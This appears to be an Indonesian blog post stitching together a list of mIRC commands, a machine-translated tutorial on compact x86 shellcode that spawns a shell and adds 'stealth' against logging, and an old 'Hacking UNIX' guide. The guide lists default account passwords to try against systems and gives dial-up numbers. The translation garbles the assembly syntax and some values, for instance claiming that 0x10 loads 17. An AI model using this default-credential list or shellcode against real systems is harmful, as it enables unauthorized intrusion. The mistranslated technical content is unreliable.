Sabtu, 13 Februari 2010

MIRC commands

 All mIRC Commands

/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

advanced shellcode tehnic

Pendahuluan

Tulisan ini mengasumsikan pengetahuan bekerja shellcoding dasar teknik, dan x86 perakitan, aku tidak akan pengulangan ini dalam makalah ini. Saya berharap untuk mengajarkan Anda beberapa teknik shellcoding kurang dikenal bahwa aku telah memilih, yang akan memungkinkan Anda untuk menulis lebih kecil dan lebih baik shellcodes. Saya tidak mengklaim telah menemukan salah satu teknik ini, kecuali bagi orang yang menggunakan instruksi div.


Banyaknya mul

Teknik ini pada awalnya dikembangkan oleh Sorbo dari darkircop.net. Instruksi yang mul mungkin, di permukaan, tampak biasa, dan tujuan jelas. Namun, ketika dihadapkan dengan tantangan yang sulit menyusut shellcode Anda, itu terbukti cukup berguna. Pertama latar belakang informasi tentang instruksi mul itu sendiri.

mul melakukan suatu unsigned mengalikan dua bilangan bulat. Hanya membutuhkan satu operand, yang lain secara implisit ditentukan oleh% eax register. Jadi, instruksi mul umum akan terlihat seperti ini:

movl $ 0x0a,% eax
mul $ 0x0a

Ini akan kalikan nilai disimpan dalam% eax oleh operand dari mul, yang dalam hal ini akan menjadi 10 * 10. Hasilnya kemudian secara implisit disimpan dalam EDX: EAX. Hasilnya disimpan selama rentang dua register karena memiliki potensi untuk menjadi jauh lebih besar dari nilai sebelumnya, mungkin melebihi kapasitas satu register (hal ini juga bagaimana mengapung poin disimpan dalam beberapa kasus, seperti yang menarik sidenote) .

Jadi, sekarang datang yang selalu pertanyaan penting. Bagaimana kita dapat menggunakan atribut ini untuk keuntungan kita ketika menulis shellcode? Yah, mari kita berpikir sejenak, instruksi yang hanya membutuhkan satu operand, oleh karena itu, karena itu adalah instruksi yang sangat umum, itu akan menghasilkan hanya dua byte terakhir kami shellcode. It mengalikan apa pun yang berlalu kepadanya oleh nilai yang disimpan di% eax, dan menyimpan nilai dalam kedua% edx dan% eax, benar-benar Timpa isi dari kedua register, terlepas dari apakah perlu untuk melakukannya, untuk menyimpan hasil dari perkalian. Mari kita memakai topi matematikawan kami untuk kedua, dan mempertimbangkan ini, apa yang satu-satunya hasil dari perkalian dengan 0? Jawabannya, seperti yang bisa Anda tebak, adalah 0. Saya pikir sudah waktunya untuk beberapa contoh kode, jadi here it is:

xorl% ecx,% ecx
mul% ecx

Apa shellcode ini lakukan? Yah, itu 0 yang keluar dari% ecx xor mendaftar menggunakan instruksi, jadi kita sekarang tahu bahwa% ecx adalah 0. Maka tidak seorang mul% ecx, yang seperti kita baru tahu, mengalikan itu operand oleh nilai di% eax, dan kemudian berlanjut untuk menyimpan hasil perkalian ini dalam EDX: EAX. Jadi, terlepas dari% eax isi sebelumnya,% eax sekarang harus 0. Namun itu belum semua,% edx adalah 0'd sekarang juga, karena, meskipun tidak ada overflow terjadi, itu masih menimpa% edx mendaftarkan dengan bit tanda (bit paling kiri) dari% eax. Dengan menggunakan teknik ini kita dapat nol tiga register hanya dalam waktu tiga byte, sedangkan dengan metode lainnya (yang saya ketahui) itu akan diambil sekurang-kurangnya enam.


Div instruksi

Div adalah sangat serupa dengan mul, di bahwa dibutuhkan hanya satu operand dan secara implisit membagi operand oleh nilai di% eax. Juga seperti, mul ini menyimpan hasil dari membagi dalam% eax. Sekali lagi, kita akan memerlukan sisi matematis otak kita untuk mengetahui bagaimana kita dapat mengambil keuntungan dari instruksi ini. Tapi pertama-tama, mari kita berpikir tentang apa yang biasanya disimpan di dalam% eax register. The% eax mendaftar memegang nilai kembali fungsi dan / atau syscalls. Kebanyakan syscalls yang digunakan dalam shellcoding akan kembali -1 (pada kegagalan) atau nilai positif dari beberapa jenis, hanya jarang akan mereka kembali 0 (meskipun hal itu terjadi). Jadi, jika kita tahu bahwa setelah dilakukan syscall,% eax akan punya nilai bukan nol, dan bahwa instruksi divl% eax akan membagi% eax dengan sendirinya, dan kemudian menyimpan hasilnya dalam% eax, kita dapat mengatakan bahwa pelaksanaan yang divl% eax instruksi setelah syscall akan meletakkan nilai 1 ke dalam% eax. Jadi ... bagaimana ini berlaku untuk shellcoding? Yah, mereka adalah hal penting lain yang% eax digunakan untuk, dan yang lulus syscall spesifik yang Anda ingin panggilan ke int $ 0x80. Kebetulan bahwa syscall bahwa sesuai dengan nilai 1 adalah keluar (). Sekarang untuk sebuah contoh:

      
xorl% ebx,% ebx
mul% ebx
push% edx
pushl $ 0x3268732f
pushl $ 0x6e69622f
mov% esp,% ebx
push% edx
push% ebx
mov% esp,% ecx
movb $ 0xb,% al # execve () syscall, tidak kembali sama sekali, kecuali jika gagal, dalam hal ini mengembalikan -1
int $ 0x80

divl% eax # -1 / -1 = 1
int $ 0x80

Sekarang, kami memiliki 3 byte keluar fungsi, dimana sebelum itu adalah 5 bytes. Namun, ada menangkap, bagaimana jika seorang syscall tidak kembali 0? Baik dalam situasi yang aneh yang bisa terjadi, Anda bisa melakukan banyak hal yang berbeda, seperti inc% eax, Desember% eax, bukan% eax sesuatu yang akan membuat% eax non-nol. Beberapa orang mengatakan bahwa keluar yang tidak penting dalam shellcode, karena kode Anda dijalankan peduli apakah atau tidak keluar bersih. Mereka benar juga, jika Anda benar-benar perlu untuk menyimpan 3 byte yang sesuai dengan shellcode di suatu tempat, keluar () tidak layak disimpan. Namun, ketika kode Anda tidak selesai, itu akan mencoba untuk melaksanakan apa pun yang setelah instruksi terakhir Anda, yang kemungkinan besar akan menghasilkan SIG Ill (instruksi ilegal) yang merupakan kesalahan yang agak aneh, dan akan dicatat oleh sistem. Jadi, keluar () hanya menambahkan lapisan ekstra siluman mengeksploitasi Anda, sehingga bahkan jika itu gagal atau Anda tidak dapat menghapus semua log, setidaknya ini bagian dari keberadaan Anda akan menjadi jelas.



Membuka kunci kekuatan Leal

The Leal instruksi adalah instruksi yang sering diabaikan dalam shellcode, meskipun itu cukup berguna. Pertimbangkan potongan pendek ini shellcode.

xorl% ecx,% ecx
Leal 0x10 (% ecx),% eax

Hal ini akan memuat nilai 17 ke eax, dan jelas semua bit ekstra eax. Hal ini terjadi karena beban instruksi Leal variabel panjang dari jenis ini desitination ke operand. Di dalamnya penggunaan normal, ini akan memuat alamat dari suatu variabel ke register, sehingga menciptakan semacam pointer. Namun, karena ecx adalah 0'd dan 0 17 = 17, kita muat ke dalam 17 nilai eax apapun bukan alamat sebenarnya. Dalam normal shellcode kita akan melakukan sesuatu seperti ini, untuk mencapai hal yang sama:

xorl% eax,% eax
movb $ 0x10,% eax

Saya dapat mendengar Anda berkata, tetapi bahwa shellcode adalah byte Leal lebih pendek daripada satu, dan kau benar. Namun, dalam real shellcode Anda mungkin sudah memiliki untuk 0 out register seperti ecx (atau mendaftar lainnya), sehingga instruksi di xorl shellcode Leal tidak dihitung. Berikut adalah contohnya:

xorl% eax,% eax
xorl% ebx,% ebx
movb $ 0x17,% al
int $ 0x80
      
xorl% ebx,% ebx
Leal 0x17 (% ebx),% al
int $ 0x80

Kedua panggilan shellcodes setuid (0), tapi satu melakukannya di 7 bytes sementara yang lain melakukannya di 8. Sekali lagi, saya mendengar Anda katakan, tetapi itu hanya satu byte itu tidak membuat banyak perbedaan, dan Anda benar, ini tidak membuat banyak perbedaan (kecuali untuk dalam ukuran shellcode kencing kontes = p) , tetapi ketika diterapkan pada shellcodes jauh lebih besar, yang memiliki banyak fungsi panggilan dan perlu melakukan hal-hal seperti ini sering, dapat menyimpan cukup sedikit ruang.

Hacking UNIX

        Oke. Sekarang waktunya bagi saya untuk memberitahu Anda bagaimana sebuah unix BIASANYA menyambut Anda.
Pertama, ketika Anda memanggil sebuah UNIX, atau terhubung ke satu pun yang Anda lakukan, Anda akan
biasanya mendapatkan prompt ini:

login:

Ok. Thats semua baik-baik saja dan pesolek. Itu berarti bahwa ini adalah MUNGKIN Unix,
walaupun ada BBS's yang bisa meniru prosedur login OS
(Operating System), sehingga membuat beberapa orang percaya its a Unix. [Hah!].
Beberapa Unix akan memberi tahu Anda apa yang mereka atau memberikan pesan sebelum
login: prompt, seperti ini:

Welcome to SHUnix. Silakan log in

login:

        Atau sesuatu seperti itu. Unix akses publik [seperti Publik BBSs] akan
kirim cara logon jika Anda adalah pengguna baru. Sayangnya, ini adalah phile
bukan tentang Unix akses publik, tapi saya akan berbicara tentang mereka sebentar kemudian, ketika
sebuah UUCP / usenet / Bitnet alamat untuk mail.
        OK. Anda sudah ke prompt login! Sekarang, apa yang perlu Anda lakukan
di sini adalah masuk dalam account yang valid. Account biasanya terdiri dari 8 karakter
atau kurang. Setelah Anda masukkan dalam account, Anda mungkin akan mendapatkan sebuah password
prompt dari beberapa macam. Petunjuknya mungkin berbeda-beda, sebagai kode sumber untuk login
Program ini biasanya disertakan dengan UNIX, atau sudah tersedia secara gratis.
Nah, hal yang paling mudah bisa kukatakan lakukan untuk login pada dasarnya ini:
Dapatkan account, atau mencoba default. Default karakter ini adalah orang yang datang dengan
sistem operasi, dalam bentuk standar. Daftar beberapa Default
adalah sebagai berikut:

ACCOUNT PASSWORD
------- --------
root root - Jarang terbuka untuk hacker
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
pengguna pengguna
permainan games
instal instal
reboot * See Below
demo demo
umountfsys umountfsys
sync sync
admin admin
tamu tamu
daemon daemon

Account root, mountfsys, umountfsys, install, dan kadang-kadang sync adalah
tingkat akar account, yang berarti mereka memiliki kekuatan sysop, atau total daya. Lain
login juga hanya "tingkat pengguna" login berarti mereka hanya mempunyai kekuasaan atas apa
file / proses mereka sendiri. Aku akan masuk ke dalam itu nanti, di file permission
bagian. Login reboot adalah apa yang dikenal sebagai perintah login, yang hanya
sama sekali tidak membiarkan Anda masuk ke sistem operasi, tetapi menjalankan sebuah program
ditugaskan untuk itu. Biasanya tidak hanya apa yang dikatakan, reboot sistem. Ini
mungkin tidak standar pada semua sistem UNIX, tetapi saya telah melihatnya di Unisys Unix
dan juga HP / UX sistem [Hewlett Packard Unix]. Sejauh ini, account ini telah
tidak passworded [reboot], yang sebenarnya bodoh, jika kau bertanya padaku.

Perintah login:
---------------

Ada "perintah login", yang, seperti reboot, jalankan perintah kemudian login
Anda keluar alih-alih membiarkan anda menggunakan perintah juru bahasa. BSD adalah terkenal
karena ini, dan concequently, begitu pula komputer MIT. Berikut adalah beberapa:

rwho - menunjukkan siapa yang online
jari - sama
yang - sama

Ini adalah yang paling berguna, karena mereka akan memberikan nama account yang
online, dengan demikian menunjukkan kepada Anda beberapa account yang benar-benar ada.


Errors:
-------

Ketika Anda mendapatkan Account tidak valid nama / password tidak valid, atau keduanya, Anda akan
mendapatkan beberapa jenis kesalahan. Biasanya itu adalah "login tidak benar" pesan. Kapan
komputer memberitahu Anda bahwa, Anda telah melakukan sesuatu yang salah dengan salah satu enterring
nama account yang tidak valid, atau nama account yang valid, tapi password tidak valid. Ini
tidak memberitahu Anda yang kesalahan yang Anda buat, untuk alasan yang jelas. Juga,
ketika Anda login salah, log kesalahan pada sistem akan diperbarui, membiarkan
yang Pengurus (s) tahu ada sesuatu yang salah.

        Kesalahan lain adalah "Cannot change to home directory" atau "Can't Change
Direktori. "Ini berarti bahwa tidak ada" direktori home "yang pada dasarnya adalah
'root' direktori untuk account, yang merupakan direktori Anda memulai masuk
Pada DOS, Anda mulai di A: \ atau C: \ atau apa pun, tetapi dalam UNIX Anda mulai di
/ homedirectory. [Catatan: Direktori / digunakan dalam direktori pada UNIX, bukan \].
Kebanyakan sistem Anda akan log off setelah ini, tetapi beberapa mengatakan bahwa mereka akan
menempatkan Anda di direktori root ['/'].

        Kesalahan lain adalah "Tidak Shell". Ini berarti bahwa tidak ada "shell" didefinisikan
untuk account tertentu. The "shell" akan dijelaskan kemudian. Beberapa
sistem anda akan log off setelah pesan ini. Lain akan mengatakan bahwa mereka
akan menggunakan shell biasa, dengan mengatakan "Menggunakan Bourne shell", atau "Menggunakan sh"

-----------------------------
Account Secara Umum:
-----------------------------

        Bagian ini adalah mudah-mudahan menjelaskan kepada Anda struktur pengguna
dalam lingkungan UNIX.
        Ok, pikirkan UNIX memiliki dua tingkat keamanan: kekuasaan absolut,
atau hanya user biasa. Orang-orang yang memiliki kekuasaan mutlak para pengguna
tingkat akar. Ok, sekarang adalah waktu untuk berpikir dalam angka. Unix rekan
nomor dengan nama account. setiap account akan memiliki nomor. Beberapa akan
nomor yang sama. Angka itu adalah UID [user-id] dari account. root
id user adalah 0. Setiap account yang memiliki user id dari 0 akan memiliki akses root.
Unix tidak berurusan dengan nama account (login) melainkan nomor
berhubungan dengan mereka. misalnya, Jika user-id saya adalah 50, dan orang lain
adalah 50, dengan keduanya memiliki kekuasaan mutlak satu sama lain, tetapi tidak ada orang lain.
_____________________________________________________________________________

---------------
Kerang:
---------------

        Sebuah shell adalah program yang dapat dieksekusi beban dan berjalan ketika pengguna
log on, dan di latar depan. Ini "shell" dapat setiap eksekusi prog -
ram, dan didefinisikan dalam "passwd" file yang merupakan userfile. Tiap
login dapat memiliki unik "shell". Ok. Sekarang shell yang biasanya kita akan bekerja
dengan adalah perintah penerjemah. Seorang juru perintah hanya sesuatu
seperti MSDOS's COMMAND.COM, yang memproses perintah, dan mengirimkan mereka ke
kernel [sistem operasi]. Sebuah shell bisa apa saja, seperti yang saya katakan sebelumnya,
tapi yang anda ingin memiliki adalah perintah penerjemah. Berikut adalah
kerang biasa Anda akan menemukan:

sh - Ini adalah Bourne shell. Ini adalah dasar Anda Unix "COMMAND.COM". Telah
     "naskah" bahasa, seperti melakukan sebagian besar penafsir perintah di Unix sys -
     Keterangan.

csh - Ini adalah "C" shell, yang akan memungkinkan Anda untuk memasukkan "C" seperti perintah.
ksh - ini adalah korn shell. Hanya perintah lain penerjemah.
tcsh - ini adalah salah satu, yang digunakan di MIT saya percaya. Memungkinkan perintah pengeditan.
vsh - visual shell. Ini adalah menu digerakkan kesepakatan. Agak seperti .. Windows for DOS
rsh - Pembatasan shell shell ATAU terpencil. Kedua Dijelaskan kemudian.
        Ada banyak orang lain, termasuk "buatan sendiri" kerang, yang
program yang ditulis oleh pemilik dari sebuah unix, atau untuk unix tertentu, dan mereka
tidak standar. Ingat, shell adalah program yang anda bisa menggunakan
dan jika dilakukan mengeksekusi, anda logout. Sebuah contoh yang baik dari
shell buatan sendiri di Eskimo Utara, akses publik Unix. Shell
disebut "Esh", dan itu hanya sesuatu seperti satu tombol-tekan BBS,
tapi hei, yang masih shell. Nomor untuk eskimo utara adalah 206-387-3637.
[206-For-Ever]. Jika Anda menelepon sana, mengirim surat Glitch Banyak.
        Beberapa perusahaan menggunakan Word Prosesor, database, dan lain-lain
sebagai pengguna shell, untuk mencegah penyalahgunaan, dan membuat hidup lebih mudah untuk komputer tidak terampil
operator. Beberapa Rumah Sakit Kedokteran menggunakan kerang jenis ini di Georgia,
dan fortunatly, program-program tingkat kedua ini meninggalkan lubang besar di Unix.
Juga, BBS yang dapat dijalankan sebagai shell. Check out Jolnet [312] -301-2100, mereka
memberi Anda pilihan antara perintah juru bahasa, atau BBS sebagai shell.
Bila Anda memiliki juru bahasa perintah, prompt biasanya merupakan:
 $
bila Anda adalah pengguna root prompt biasanya adalah:
 #
Variabel, PS1, dapat diatur untuk memegang sebuah prompt.
Sebagai contoh, jika PS1 adalah "HI:", Anda akan prompt:
 HI:

_____________________________________________________________________________

------------------------
Karakter khusus, etc:
------------------------

Control-D: Akhir file. Ketika menggunakan mail atau editor teks, ini akan berakhir
pesan atau file teks. Jika Anda berada di shell dan tekan kontrol-d Anda
log-off.

Control-J: Pada beberapa sistem, ini seperti tombol enter.
@: Apakah kadang-kadang sebuah "null"
? : Ini adalah wildcard. Hal ini dapat mewakili surat. Jika Anda tentukan
   sesuatu di baris perintah seperti "b, b" Unix akan mencari bob, bib, Bub,
   dan setiap huruf / angka antara a-z, 0-9.
*: Ini dapat mewakili jumlah karakter apapun. Jika Anda tentukan sebuah "hi *"
    itu akan menggunakan "memukul", dia, hiiii, hiya, dan APA yang dimulai dengan
    hai. "H * l" bisa oleh bukit, lambung, hl, dan segala sesuatu yang dimulai dengan
    H dan berakhir dengan L.

[] - The menetapkan jangkauan. jika i did b [o, u, i] b unix akan berpikir: bib, Bub, bob
     jika i did: b [iklan] b unix akan berpikir: bab, bbb, bcb, BDB. Dapatkan ide? Itu
     [],?, Dan * biasanya digunakan dengan menyalin, menghapus file, dan direktori
     listing.

SEGALANYA dalam Unix adalah KASUS sensitif. Ini berarti "Bukit" dan "bukit" tidak
hal yang sama. Hal ini memungkinkan bagi banyak file untuk dapat disimpan, karena
"Hill" "bukit" "Hill" "bukit", dll file bisa berbeda. Jadi, ketika menggunakan
yang [] barang-barang, Anda harus menentukan huruf kapital jika setiap berkas yang Anda hadapi
dengan memiliki huruf kapital. Hampir semua kasus lebih rendah sekalipun.

----------------
Perintah untuk menggunakan:
----------------

Sekarang, saya akan kumuh beberapa perintah yang berguna Unix. Aku akan bertindak
seolah-olah aku sedang mengetik di perintah sebenarnya dari sebuah prompt.

ls - ini adalah untuk mendapatkan sebuah direktori. Tanpa argumen, itu hanya akan mencetak
     nama file dalam salah satu kolom atau multi-kolom output, tergantung pada
     Program ls Anda memiliki akses ke.

        contoh:
        $ Ls
        hithere
        runme
        note.text
        src
        $
        the-l saklar diperpanjang akan memberikan info tentang file.
        $ Ls-l
        rwx - x - x sirhack sirh 10.990 runme
        dan seterusnya ....

yang "rwx - x - x" adalah file izin. [Dijelaskan Kemudian]
yang "sirhack sirh" adalah pemilik dari file / group file akan masuk
sirhack = pemilik, pengguna sirh = grup file dalam [dijelaskan kemudian]
yang 10.990 adalah ukuran file dalam byte.
"runme" adalah nama file.
Format bervariasi, tetapi Anda harus memiliki ide umum.

kucing - jenis ini keluar sebuah file ke layar. harus digunakan pada file teks.
      hanya menggunakannya dengan file biner untuk membuat pengguna marah [dijelaskan kemudian]
      ex:
      $ Cat note.txt
      Ini adalah contoh file teks!
      $

cd - mengganti direktori. Anda melakukannya seperti ini: cd / dir/dir1/dir2/dirn.
     yang dir1/etc .... menggambarkan nama direktori. Katakanlah saya ingin mendapatkan
     ke direktori root.
     ex:
     $ Cd /
     * ok, aku di sana .*
     $ Ls
     bin
     sys
     etc
     temp
     bekerja
     usr
 semua di atas adalah direktori, katakanlah.
     $ Cd / usr
     $ Ls
     sirhack
     datawiz
     nabi
     src
     kekerasan
     par
     phiber
     scythian
     $ Cd / usr / sirhack
     $ Ls
     hithere
     runme
     note.text
     src
     $
ok, sekarang, Anda tidak perlu untuk memasukkan nama dir lengkap. jika Anda berada dalam
direktori, dan ingin masuk ke salah satu yang benar di sana [mengatakan "src"], Anda
dapat mengetikkan "cd src" [tidak ada "/"]. Daripada mengetik "cd / usr / sirhack / src" dari
sirhack dir, Anda dapat mengetikkan "cd src"

cp - copy file ini. Sintaks untuk itu adalah "cp fromfile tofile"
     $ Cp runme runme2
     $ Ls
     hithere
     runme
     note.text
     src
     runme2
Kendali nama path dapat dimasukkan, untuk salin ke direktori lain.
     $ Cp runme / usr / datwiz / runme

mv - mengganti nama file ini. sintaks "mv oldname newname"
     $ Mv runme2 runit
     $ Ls
     hithere
     runme
     note.text
     src
     runit
    file dapat diubah namanya ke direktori lain.
     $ Mv runit / usr / datwiz / run
     $ Ls
     hithere
     runme
     note.text
     src
     $ Ls / usr / datwiz
     runme
     berlari

pwd - memberikan direktori saat
     $ Pwd
     / usr / sirhack
     $ Cd src
     $ Pwd
     / usr / sirhack / src
     $ Cd ..
     $ Pwd
     / usr / sirhack
     [The ".." berarti menggunakan nama salah satu direktori kembali. ]
     $ Cd .. / datwiz
       [diterjemahkan menjadi cd / usr / datwiz]
     $ Pwd
     / usr / datwiz
     $ Cd $ home
     [goto home dir]
     $ Pwd
     / usr / sirhack

rm - menghapus file. sintaks "rm filename" atau "rm-r nama direktori"
     $ Rm note.text
     $ Ls
     hithere
     runme
     src
     $

menulis - chatting dengan pengguna lain. Yah, "menulis" kepada pengguna lain.
sintaks: "menulis username"
    $ Menulis scythian
    scythian telah diberitahu
    Hey Scy! What up??
    Pesan dari scythian pada tty001 pada 17:32
    hei!
    saya: Jadi, bagaimana kabar kehidupan?
    scy: ok, kurasa.
    saya: harus pergi menyelesaikan file teks ini.
    scy: ok
    saya: control-D [untuk keluar dari program]
    $

yang [w, yang, whodo] - cetak yang online
    $ Yang
    istilah login logontime
    scythian + tty001 17:20
    phiberO + tty002 15:50
    sirhack + tty003 17:21
    datawiz - tty004 11:20
    glitch - tty666 66:60
    $
    "siapa" perintah mungkin berbeda-beda dalam informasi yang diberikan. tanda "+" berarti
    Anda dapat "menulis" terminal mereka, sebuah "-" berarti Anda tidak bisa.

pria - menunjukkan halaman manual entri. sintaks "man nama perintah" Ini adalah bantuan
      program. Jika Anda ingin tahu cara menggunakan ... "yang" kau ketik
    $ Man yang
    WHO (1) xxx ......
      dan itu akan memberitahu Anda.

stty - menetapkan karakteristik terminal anda. Anda AKAN harus melakukan "man stty"
     karena setiap stty berbeda, sepertinya.
     contoh akan:
    $ Stty-parenb
      untuk membuat data params N, 8,1. Banyak Unix beroperasi di
      e, 7,1 secara default.

sz, rz - mengirim dan menerima melalui zmodem
rx, sx - mengirim / menerima melalui xmodem
rb, sb - kirim via batch ymodem. 6 program ini mungkin atau mungkin tidak berada pada unix.
umodem - send / recieve via umodem.
      $ Sz filename
      siap untuk mengirim ...
      $ Rz filename
      silakan kirim file Anda ....
      ... dll.

ed - editor teks. Penggunaan "ed filename" untuk membuat sebuah file yang tidak
     ada, cukup masukkan dalam "ed filename"
     beberapa versi ed akan memberikan Anda sebuah prompt, seperti "*" orang lain tidak
     $ Ed newtext
     0
     * A
     Ini baris 1
     Ini baris 2
     [control-z]
     * 1 [untuk melihat saluran satu]
     Ini baris 1
     * A [terus menambahkan]
     Ini baris 3
     [control-z]
     * 0a [menambahkan demi baris 0]
     Ini adalah baris pertama di
     [control-z]
     1,4 l
     Ini adalah baris pertama di
     Ini baris 1
     Ini baris 2
     Ini baris 3
     * W
     71
     * Q
     $
   71 adalah jumlah byte yang ditulis.
   a = append
   l = daftar
   # = Cetak nomor baris
   w - menulis
   l FNAME = beban FNAME
   s FNAME = simpan untuk FNAME
   w = menulis ke file saat ini
   q = berhenti
mesg - write permissions mengaktifkan atau menonaktifkan ke terminal anda (mengizinkan chat)
     Format "mesg y" atau "mesg n"
cc - C compiler. jangan khawatir tentang yang satu ini sekarang.
chmod - modus mengubah file. Ubah akses dengan kata lain.
        sintaks: "chmod modus nama file"
        $ Chmod a + r newtext
      Sekarang semua orang dapat membaca newtext.
      a = semua
      r = membaca. Ini akan dijelaskan lebih lanjut dalam bagian Sistem File.

chown - merubah pemilik file.
       sintaks: "chown pemilik filename"
       $ Chown scythian newtext
       $
chgrp - mengubah kelompok [dijelaskan nanti] dari sebuah file.
       sintaks: "chgrp file group"
       $ Chgrp root runme
       $
jari - mencetak info dasar pada account. Format: jari username
grep - mencari pola dalam file. sintaks: "pola grep file"
       $ Grep 1 newtext
       Ini adalah Jalur 1
       $ Grep THE newtext
       Ini adalah baris pertama di
       $ Grep "THE baris 1" newtext
       $

mail - Ini adalah utilitas yang sangat berguna. Tentu saja, Anda sudah tahu apa itu
        adalah dengan namanya. Ada beberapa utilitas MAIL, seperti ELM, bubur
        dan MSH, tapi dasar "mail" Program ini disebut "mail". Penggunaan
        adalah:
        "surat username @ alamat" atau
        "mail username"
        atau
        "mail"
        atau "mail addr1! addr2! addr3! pengguna"

        "surat username @ alamat" - Ini digunakan untuk mengirim email ke seseorang
sistem lain, yang biasanya UNIX lain, tetapi beberapa mesin DOS dan beberapa
Mesin VAX dapat menerima Unix Mail. Bila Anda menggunakan "pengguna @ alamat email" yang
sistem anda di HARUS memiliki "pintar mailer" [dikenal sebagai Smail], dan harus
memiliki apa yang kita sebut sistem peta. Mailer yang cerdas akan menemukan "alamat" bagian
dari perintah dan memperluas ke pathname lengkap biasanya. Aku bisa melihat
seperti ini: mail phiber @ optik
           maka terlihat seperti ini ke komputer:

           mail sys1! Unisys! pacbell! sbell! sc1! att.com! sirhacksys! optik! phiber

Jangan khawatir tentang itu, saya hanya menjelaskan pokok dari hal.
Sekarang, jika tidak ada mailer pintar secara online, Anda harus mengetahui jalan FULL
nama orang yang ingin Anda mail. Untuk Instance, saya ingin mail
.. phiber. Aku akan melakukan ini jika tidak ada cerdas mailer:

  $ Mail sys! Unisys! Pacbell! Sbell! Sc1! Att.com! Sirhacksys! Optik! Phiber

    Hey Guy. Whats up? Yah, harus pergi. Nice pesan lama ya?
    [DNS-D]
  $
Kemudian, ketika ia mendapatkannya, akan ada sekitar 20 baris informasi, dengan
seperti tanda pos dari setiap sistem pesan saya alami, dan "dari" garis
akan terlihat seperti:

Dari optik! Sirhacksys! Att.com! Sc1! Sbell! Pacbell! Unisys! Sys! Sirhack

        Sekarang, untuk surat lokal, cukup ketik "mail username" dimana username
adalah login Anda ingin mengirim email ke. Lalu ketik pesan Anda. Kemudian
mengakhirinya dengan kontrol-D.

        Untuk membaca surat ANDA, ketik saja di email. IE:

        $ Mail

